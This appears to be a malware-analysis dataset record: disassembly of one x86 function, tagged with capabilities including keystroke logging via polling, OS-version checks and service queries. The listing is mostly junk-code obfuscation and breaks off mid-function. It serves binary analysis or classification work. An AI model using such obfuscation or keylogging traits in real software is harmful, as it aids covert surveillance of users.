Function at 0x463ebb
Capabilities:
Check os version
Get common file path
Log keystrokes via polling
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xff0
push esi
mov dword [ebp - 0xe2c], 0xb319
mov dword [ebp - 0xe8c], 0x5c8094a
mov dword [ebp - 0xdd0], 0
mov dword [ebp - 0xeb0], 0
mov dword [ebp - 0xdd8], 1
mov dword [ebp - 0xe9c], 0x36f6dd8d
mov dword [ebp - 0xde0], 0x693e93
mov dword [ebp - 0xeb8], 0xfffffffb
mov dword [ebp - 0xde8], 0
mov dword [ebp - 0x81c], 0x1b0ae28d
mov dword [ebp - 0x68], 0
jmp 0x463f39
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x463f4f
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0xfcc], 1
jmp 0x463f32
mov dword [ebp - 0x68], 0
jmp 0x463f5f
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x463f75
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0xfa4], 0xffffffff
jmp 0x463f58
mov eax, dword [ebp - 0x81c]
dec eax
mov dword [ebp - 0x81c], eax
push 1
lea ecx, [ebp - 0x2b8]
call fcn.0040194d
mov dword [ebp - 0x2c8], 1
mov dword [ebp - 0x920], 7
mov dword [ebp - 0xa8], 0
jmp 0x463fbc
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x463fde
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x2b8]
call fcn.00401379
mov dword [eax], 3
jmp 0x463faf
mov dword [ebp - 0xa8], 0
jmp 0x463ff7
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x464013
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0xf48], 0xfffffffc
jmp 0x463fea
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
cmp dword [eax], 1
jl 0x464031
mov dword [ebp - 0x8e0], 1
jmp 0x464038
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0x8e0], eax
jg 0x464052
mov dword [ebp - 0x9f8], 1
jmp 0x464059
and dword [ebp - 0x9f8], 0
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
cmp dword [eax], 0
jge 0x464084
mov dword [ebp - 0x8e8], 1
jmp 0x46408b
and dword [ebp - 0x8e8], 0
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
mov ecx, dword [ebp - 0x8e8]
add ecx, dword [eax]
sub ecx, dword [ebp - 0x2c8]
imul eax, ecx, 0xfffffffd
cmp eax, dword [ebp - 0x2c8]
jg 0x4640bd
mov dword [ebp - 0x908], 1
jmp 0x4640c4
and dword [ebp - 0x908], 0
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
mov esi, dword [eax]
add esi, dword [ebp - 0x908]
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
cmp esi, dword [eax]
jge 0x4640f6
mov dword [ebp - 0x910], 1
jmp 0x4640fd
and dword [ebp - 0x910], 0
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
mov ecx, dword [ebp - 0x910]
add ecx, dword [eax]
je 0x464351
push 2
lea ecx, [ebp - 0x9e8]
call fcn.0040194d
mov dword [ebp - 0x918], 0xfffffff7
push 1
lea ecx, [ebp - 0xb54]
call fcn.0040194d
mov dword [ebp - 0xa08], 0xf6f6d779
mov dword [ebp - 0x70], 0
jmp 0x464156
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x464172
push dword [ebp - 0x70]
lea ecx, [ebp - 0x9e8]
call fcn.00401379
mov dword [eax], 1
jmp 0x46414f
mov dword [ebp - 0x70], 0
jmp 0x464182
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x46419e
push dword [ebp - 0x70]
lea ecx, [ebp - 0xb54]
call fcn.00401379
mov dword [eax], 0xfffffffd
jmp 0x46417b
mov eax, 0x2601c8d5
test eax, eax
je 0x464239
push 1
lea ecx, [ebp - 0x9e8]
call fcn.00401379
mov esi, dword [eax]
inc esi
push 1
lea ecx, [ebp - 0x9e8]
call fcn.00401379
sub esi, dword [eax]
mov dword [ebp - 0x918], esi
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0xf18], eax
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0xe14], eax
push 1
lea ecx, [ebp - 0x9e8]
call fcn.00401379
mov eax, dword [eax]
neg eax
add eax, dword [ebp - 0x920]
mov dword [ebp - 0x928], eax
push 0
lea ecx, [ebp - 0xb54]
call fcn.00401379
mov ecx, dword [ebp - 0x928]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x9e8]
call fcn.00401379
push 0
lea ecx, [ebp - 0xb54]
call fcn.00401379
cmp dword [eax], 0
jne 0x46424b
mov eax, 0xa2f7
test eax, eax
jne 0x46424b
and dword [ebp - 0x930], 0
jmp 0x464255
mov dword [ebp - 0x930], 1
mov eax, dword [ebp - 0x930]
add eax, 5
je 0x46427e
push 0
lea ecx, [ebp - 0xb54]
call fcn.00401379
cmp dword [eax], 0
je 0x46427e
mov dword [ebp - 0x938], 1
jmp 0x464285
and dword [ebp - 0x938], 0
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
mov ecx, dword [ebp - 0x938]
imul ecx, dword [eax]
test ecx, ecx
je 0x4642b2
push 0xfffffffffffffff9
pop eax
test eax, eax
je 0x4642b2
mov dword [ebp - 0x940], 1
jmp 0x4642b9
and dword [ebp - 0x940], 0
cmp dword [ebp - 0x940], 6
jle 0x4642ce
mov dword [ebp - 0x948], 1
jmp 0x4642d5
and dword [ebp - 0x948], 0
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
mov esi, dword [ebp - 0x948]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x2b8]
call fcn.00401379
cmp esi, dword [eax]
jge 0x464307
mov dword [ebp - 0x7a0], 1
jmp 0x46430e
and dword [ebp - 0x7a0], 0
cmp dword [ebp - 0x7a0], 0x72b4
jge 0x464326
mov dword [ebp - 0x398], 1
jmp 0x46432d
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0xa08], eax
lea ecx, [ebp - 0xb54]
call fcn.00401a1f
lea ecx, [ebp - 0x9e8]
call fcn.00401a1f
jmp 0x46437a
mov dword [ebp - 0x360], 0x4b76fef6
mov eax, dword [ebp - 0x360]
dec eax
mov dword [ebp - 0x360], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x360]
mov dword [ebp + eax - 0xf48], ecx
lea ecx, [ebp - 0x2b8]
call fcn.00401a1f
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x7f0], 0
mov dword [ebp - 0xa0], 0
jmp 0x4643af
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x4643cb
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0xec4], 0
jmp 0x4643a2
mov dword [ebp - 0xa0], 0
jmp 0x4643e4
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x464400
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x294], 0x17216709
jmp 0x4643d7
mov dword [ebp - 0x44], 0
jmp 0x464410
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jg 0x464434
mov byte [ebp - 0x123], 0
movzx eax, byte [ebp - 0x123]
test eax, eax
je 0x464432
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x464409
mov dword [ebp - 0x44], 0xfffffff8
jmp 0x464444
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xfffffff4
jl 0x464b43
mov dword [ebp - 0x16c], 0xe2fde2bb
mov dword [ebp - 0xa10], 0x52e4a6b2
mov dword [ebp - 0x354], 0xfffffff9
mov dword [ebp - 0x324], 0xa6f63eed
mov dword [ebp - 0xeb4], 0x5f7a0d7c
push 3
lea ecx, [ebp - 0xbe0]
call fcn.0040194d
mov dword [ebp - 0x78], 0
jmp 0x46449d
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x4644b3
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xf54], 0xac29f8d9
jmp 0x464496
mov dword [ebp - 0x78], 0
jmp 0x4644c3
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x4644df
push dword [ebp - 0x78]
lea ecx, [ebp - 0xbe0]
call fcn.00401379
mov dword [eax], 2
jmp 0x4644bc
mov dword [ebp - 0x16c], 0
jmp 0x4644f8
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0xfffffff9
jg 0x464b33
push 1
lea ecx, [ebp - 0x958]
call fcn.0040194d
mov dword [ebp - 0x1a0], 0x7fc0336a
mov dword [ebp - 0xa94], 0x38e5161e
mov dword [ebp - 0xc34], 0x77d77fc7
mov dword [ebp - 0xc30], 0x77d77fc7
mov dword [ebp - 0xc2c], 0x77d77fc7
mov dword [ebp - 0xc28], 0x77d77fc7
lea ecx, [ebp - 0x325]
call fcn.00401a3b
push eax
lea eax, [ebp - 0xc24]
push eax
lea eax, [ebp - 0xc34]
push eax
lea ecx, [ebp - 0xfdc]
call fcn.00401a3e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb64]
call fcn.004019f9
mov dword [ebp - 0x368], 0x3f2a6add
mov dword [ebp - 0x1d0], 7
mov dword [ebp - 0x284], 0
jmp 0x4645b0
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 1
jge 0x4645cf
push dword [ebp - 0x284]
lea ecx, [ebp - 0x958]
call fcn.00401379
and dword [eax], 0
jmp 0x4645a3
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0xe1c], eax
cmp dword [ebp - 0x7f0], 0x64e48c0c
jl 0x4645f3
mov dword [ebp - 0x7a8], 1
jmp 0x4645fa
and dword [ebp - 0x7a8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x294]
cmp eax, dword [ebp - 0x7a8]
jl 0x46461b
mov dword [ebp - 0x3a0], 1
jmp 0x464622
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 0
jne 0x464637
mov dword [ebp - 0x7b0], 1
jmp 0x46463e
and dword [ebp - 0x7b0], 0
cmp dword [ebp - 0x7b0], 1
jle 0x464653
mov dword [ebp - 0x3a8], 1
jmp 0x46465a
and dword [ebp - 0x3a8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x294]
cmp dword [ebp - 0x3a8], eax
jl 0x46467b
mov dword [ebp - 0x7b8], 1
jmp 0x464682
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x7b8]
sub eax, dword [ebp - 0xa10]
cmp eax, 0x5199
je 0x464699
cmp dword [ebp - 0x44], 0
cmp dword [ebp - 0x324], 0xffffffff
jg 0x4646ae
mov dword [ebp - 0x3b0], 1
jmp 0x4646b5
and dword [ebp - 0x3b0], 0
push 0
lea ecx, [ebp - 0x958]
call fcn.00401379
mov ecx, dword [ebp - 0x3b0]
cmp ecx, dword [eax]
jl 0x4646d8
mov dword [ebp - 0x7c0], 1
jmp 0x4646df
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0x7c0]
mov dword [ebp - 0xa20], eax
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0xa18]
cmp eax, dword [ebp - 0xa20]
jge 0x46471e
mov dword [ebp - 0xa28], 1
jmp 0x464725
and dword [ebp - 0xa28], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x294]
cmp dword [ebp + eax - 0x294], ecx
jl 0x46474d
mov dword [ebp - 0x3b8], 1
jmp 0x464754
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x3b8], eax
jge 0x46476e
mov dword [ebp - 0xa30], 1
jmp 0x464775
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0xeec], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0xe24], eax
push 0
lea ecx, [ebp - 0x958]
call fcn.00401379
mov esi, eax
push 0
lea ecx, [ebp - 0x958]
call fcn.00401379
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x4647bb
mov dword [ebp - 0x7c8], 1
jmp 0x4647c2
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0x7c8]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x294]
jle 0x4647e5
mov dword [ebp - 0x3c0], 1
jmp 0x4647ec
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x1d0]
imul eax, dword [ebp - 0x3c0]
cmp eax, 1
jle 0x46480a
mov dword [ebp - 0x370], 1
jmp 0x464811
and dword [ebp - 0x370], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x370]
mov dword [ebp + eax - 0x294], ecx
mov eax, dword [ebp - 0xa94]
cmp dword [ebp - 0x370], eax
jle 0x46483e
mov dword [ebp - 0x7d0], 1
jmp 0x464845
and dword [ebp - 0x7d0], 0
cmp dword [ebp - 0x7d0], 1
jb 0x46485a
mov dword [ebp - 0x3c8], 1
jmp 0x464861
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x354], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec4]
cmp dword [ebp - 0x354], eax
jle 0x46488e
mov dword [ebp - 0x7d8], 1
jmp 0x464895
and dword [ebp - 0x7d8], 0
push 0
lea ecx, [ebp - 0xb64]
call fcn.00401379
mov ecx, dword [ebp - 0x7d8]
cmp ecx, dword [eax]
jle 0x4648b8
mov dword [ebp - 0x3d0], 1
jmp 0x4648bf
and dword [ebp - 0x3d0], 0
push 0
lea ecx, [ebp - 0x958]
call fcn.00401379
mov ecx, dword [ebp - 0x3d0]
add ecx, 0xc5cc
cmp dword [eax], ecx
jl 0x4648e8
mov dword [ebp - 0x7e0], 1
jmp 0x4648ef
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x7e0], eax
je 0x464909
mov dword [ebp - 0x3d8], 1
jmp 0x464910
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x324]
cmp dword [ebp - 0x3d8], eax
je 0x46493c
push 0
lea ecx, [ebp - 0xb64]
call fcn.00401379
cmp dword [eax], 0
je 0x46493c
mov dword [ebp - 0x7e8], 1
jmp 0x464943
and dword [ebp - 0x7e8], 0
cmp dword [ebp - 0x7e8], 0x7d3
jg 0x46495b
mov dword [ebp - 0xa9c], 1
jmp 0x464962
and dword [ebp - 0xa9c], 0
push 0
lea ecx, [ebp - 0x958]
call fcn.00401379
push 6
pop ecx
add ecx, 0x5d09421a
mov eax, dword [eax]
sub eax, ecx
mov dword [ebp - 0x3e0], eax
push 0
lea ecx, [ebp - 0xb64]
call fcn.00401379
mov ecx, dword [ebp - 0x3e0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3e0]
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x1a0], 0x887e981c
je 0x4649bd
xor eax, eax
inc eax
jne 0x4649bd
and dword [ebp - 0x3e8], 0
jmp 0x4649c7
mov dword [ebp - 0x3e8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x294]
cmp dword [ebp - 0x3e8], eax
jg 0x4649e8
mov dword [ebp - 0x7f8], 1
jmp 0x4649ef
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x1d0]
imul eax, dword [ebp - 0x7f8]
cmp eax, 0x4638
jle 0x464a0f
mov dword [ebp - 0xaa4], 1
jmp 0x464a16
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0xebc], eax
mov esi, dword [ebp - 0x16c]
push 0
lea ecx, [ebp - 0x958]
call fcn.00401379
sub esi, dword [eax]
mov dword [ebp - 0x3f0], esi
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp + eax - 0x294], ecx
push 0
lea ecx, [ebp - 0xb64]
call fcn.00401379
mov ecx, dword [ebp - 0x3f0]
add ecx, dword [eax]
je 0x464a7c
cmp dword [ebp - 0x324], 0
je 0x464a7c
mov dword [ebp - 0x2d4], 1
jmp 0x464a83
and dword [ebp - 0x2d4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp + eax - 0xf54], ecx
push 1
lea ecx, [ebp - 0xbe0]
call fcn.00401379
mov ecx, dword [ebp - 0x2d4]
cmp ecx, dword [eax]
jne 0x464ab9
mov dword [ebp - 0x800], 1
jmp 0x464ac0
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x800]
sub eax, dword [ebp - 0x44]
je 0x464ad7
mov dword [ebp - 0x3f8], 1
jmp 0x464ade
and dword [ebp - 0x3f8], 0
cmp dword [ebp - 0x3f8], 0xffffffff
ja 0x464b02
push 1
lea ecx, [ebp - 0xbe0]
call fcn.00401379
cmp dword [eax], 0
jne 0x464b02
and dword [ebp - 0x808], 0
jmp 0x464b0c
mov dword [ebp - 0x808], 1
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0x1a0], eax
lea ecx, [ebp - 0xb64]
call fcn.00401a1f
lea ecx, [ebp - 0x958]
call fcn.00401a1f
jmp 0x4644eb
lea ecx, [ebp - 0xbe0]
call fcn.00401a1f
jmp 0x46443d
push 3
lea ecx, [ebp - 0xb84]
call fcn.0040194d
mov dword [ebp - 0x48], 0xe2236432
mov dword [ebp - 4], 0x5ccc90a3
mov dword [ebp - 0x1dc], 1
mov dword [ebp - 0xac4], 0x5f72
mov dword [ebp - 0x28c], 0
jmp 0x464b8b
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 2
jge 0x464ba4
mov eax, dword [ebp - 0x28c]
mov dword [ebp + eax*4 - 0x54], 0x75dcec3d
jmp 0x464b7e
mov dword [ebp - 4], 1
jmp 0x464bb4
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x464e7e
mov dword [ebp - 0x438], 9
mov dword [ebp - 0xabc], 0xfffffffa
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x54], 0x1c09
jne 0x464beb
mov dword [ebp - 0x410], 1
jmp 0x464bf2
and dword [ebp - 0x410], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x54]
cmp dword [ebp + eax - 0x54], ecx
jle 0x464c14
mov dword [ebp - 0x400], 1
jmp 0x464c1b
and dword [ebp - 0x400], 0
cmp dword [ebp - 0x400], 1
jbe 0x464c30
mov dword [ebp - 0xaac], 1
jmp 0x464c37
and dword [ebp - 0xaac], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0xd38], eax
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x54], 0x5f321ee0
jne 0x464c59
mov dword [ebp - 0x810], 1
jmp 0x464c60
and dword [ebp - 0x810], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x54]
cmp dword [ebp - 0x810], eax
jne 0x464c7e
mov dword [ebp - 0x408], 1
jmp 0x464c85
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x54]
imul eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
cmp eax, dword [ebp + ecx*4 - 0x54]
jne 0x464caf
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x54], 0
jne 0x464caf
and dword [ebp - 0x818], 0
jmp 0x464cb9
mov dword [ebp - 0x818], 1
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x54]
cmp dword [ebp - 0x818], eax
jge 0x464cda
cmp dword [ebp - 4], 0
je 0x464cda
mov dword [ebp - 0x820], 1
jmp 0x464ce1
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x410]
cmp eax, dword [ebp - 0x820]
jge 0x464d04
mov eax, 0xaf1ba137
test eax, eax
je 0x464d04
mov dword [ebp - 0x418], 1
jmp 0x464d0b
and dword [ebp - 0x418], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x54]
cmp dword [ebp - 0x418], eax
jge 0x464d29
mov dword [ebp - 0x828], 1
jmp 0x464d30
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x54]
cmp dword [ebp - 0x828], eax
jle 0x464d4b
mov dword [ebp - 0x420], 1
jmp 0x464d52
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x54]
cmp eax, dword [ebp - 0x420]
jne 0x464d6d
mov dword [ebp - 0x830], 1
jmp 0x464d74
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x830], eax
jge 0x464d8b
mov dword [ebp - 0xab4], 1
jmp 0x464d92
and dword [ebp - 0xab4], 0
cmp dword [ebp - 4], 0
je 0x464db1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0
je 0x464db1
mov dword [ebp - 0x428], 1
jmp 0x464db8
and dword [ebp - 0x428], 0
imul eax, dword [ebp - 0x428], 0xd832
add eax, 0x18eb
sub eax, dword [ebp - 4]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x54], eax
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x54], 0
je 0x464df4
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x54], 0
je 0x464df4
mov dword [ebp - 0x838], 1
jmp 0x464dfb
and dword [ebp - 0x838], 0
cmp dword [ebp - 0x838], 0x6dfe1602
jne 0x464e13
mov dword [ebp - 0x430], 1
jmp 0x464e1a
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 1
jbe 0x464e3b
mov dword [ebp - 0x840], 1
jmp 0x464e42
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x840]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x9bb5c1ed
jb 0x464e66
mov dword [ebp - 0x848], 1
jmp 0x464e6d
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0xabc], eax
jmp 0x464bad
mov dword [ebp - 4], 0xfffffff4
jmp 0x464e8e
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xd
jl 0x4650a8
mov dword [ebp - 0x868], 0x34219042
mov dword [ebp - 0xacc], 0xe9afb84c
mov dword [ebp - 0x280], 0
jmp 0x464ec5
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jge 0x464ee1
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x8f4], 2
jmp 0x464eb8
cmp dword [ebp - 4], 0
jne 0x464ef3
mov dword [ebp - 0x460], 1
jmp 0x464efa
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x1dc]
sub eax, 0x75700ff
cmp eax, dword [ebp - 0x1dc]
jge 0x464f19
mov dword [ebp - 0x440], 1
jmp 0x464f20
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 5
jg 0x464f35
mov dword [ebp - 0x850], 1
jmp 0x464f3c
and dword [ebp - 0x850], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8f4]
cmp dword [ebp - 0x850], eax
jg 0x464f67
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0
jne 0x464f67
and dword [ebp - 0x448], 0
jmp 0x464f71
mov dword [ebp - 0x448], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x54]
cmp eax, dword [ebp - 0x448]
jne 0x464f99
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x54], 0
jne 0x464f99
and dword [ebp - 0x858], 0
jmp 0x464fa3
mov dword [ebp - 0x858], 1
mov eax, dword [ebp - 0x858]
sub eax, 9
cmp eax, dword [ebp - 4]
jl 0x464fbd
mov dword [ebp - 0x450], 1
jmp 0x464fc4
and dword [ebp - 0x450], 0
cmp dword [ebp - 0x450], 0x365d5a10
jle 0x464fdc
mov dword [ebp - 0x350], 1
jmp 0x464fe3
and dword [ebp - 0x350], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x350]
mov dword [ebp + eax - 0x54], ecx
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x8f4]
sub ecx, dword [ebp - 0x350]
sub ecx, dword [ebp + eax - 0x8f4]
cmp ecx, dword [ebp - 4]
jg 0x465031
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8f4], 0
jne 0x465031
and dword [ebp - 0x860], 0
jmp 0x46503b
mov dword [ebp - 0x860], 1
mov eax, dword [ebp - 0xac4]
imul eax, dword [ebp - 0x860]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x8f4]
jne 0x465063
mov dword [ebp - 0x458], 1
jmp 0x46506a
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x868], eax
mov eax, dword [ebp - 0x868]
cmp dword [ebp - 0x460], eax
jne 0x465090
mov dword [ebp - 0x870], 1
jmp 0x465097
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0xacc], eax
jmp 0x464e87
mov dword [ebp - 0x248], 0
jmp 0x4650c1
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 3
jge 0x4650e3
push dword [ebp - 0x248]
lea ecx, [ebp - 0xb84]
call fcn.00401379
mov dword [eax], 0xb9b55bb2
jmp 0x4650b4
mov dword [ebp - 0x2c], 0x68ec0ae9
mov dword [ebp - 0xe0], 0x1ebf0ddd
mov dword [ebp - 0x890], 0x87c5c6a8
mov dword [ebp - 0xaec], 0xffffffff
mov dword [ebp - 0x2c], 0
jmp 0x465118
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xb
jge 0x46516b
mov dword [ebp - 0x1e4], 0xffffffff
mov dword [ebp - 0x1e4], 0
jmp 0x465141
mov eax, dword [ebp - 0x1e4]
dec eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0xffffffe7
je 0x465169
mov dword [ebp - 0xad4], 0xfffffffc
cmp dword [ebp - 0x2c], 0
je 0x46515c
jmp 0x465169
cmp dword [ebp - 0xad4], 0
je 0x465167
jmp 0x465134
jmp 0x465134
jmp 0x465111
cmp dword [ebp - 0x2c], 0
jne 0x465260
push 7
pop eax
test eax, eax
je 0x46518e
cmp dword [ebp - 0x2c], 0
je 0x46518e
mov dword [ebp - 0x468], 1
jmp 0x465195
and dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 0xfffffffe
je 0x4651aa
mov dword [ebp - 0x878], 1
jmp 0x4651b1
and dword [ebp - 0x878], 0
cmp dword [ebp - 0x878], 0x6a37
jge 0x4651c9
mov dword [ebp - 0xadc], 1
jmp 0x4651d0
and dword [ebp - 0xadc], 0
cmp dword [ebp - 0x2c], 0
je 0x4651e8
cmp dword [ebp - 0x2c], 0
je 0x4651e8
mov dword [ebp - 0x470], 1
jmp 0x4651ef
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x470], eax
jne 0x465206
mov dword [ebp - 0xae4], 1
jmp 0x46520d
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xd3c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xe0]
jl 0x465236
mov dword [ebp - 0x880], 1
jmp 0x46523d
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0xe0]
add eax, dword [ebp - 0x880]
add eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xe0]
jl 0x465260
and dword [ebp - 0x478], 0
jmp 0x46526a
mov dword [ebp - 0x478], 1
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x478], eax
jge 0x465284
mov dword [ebp - 0x888], 1
jmp 0x46528b
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x888]
mov dword [ebp - 0x2c], eax
imul eax, dword [ebp - 0x2c], 0x7b18
cmp eax, 0x5f19716e
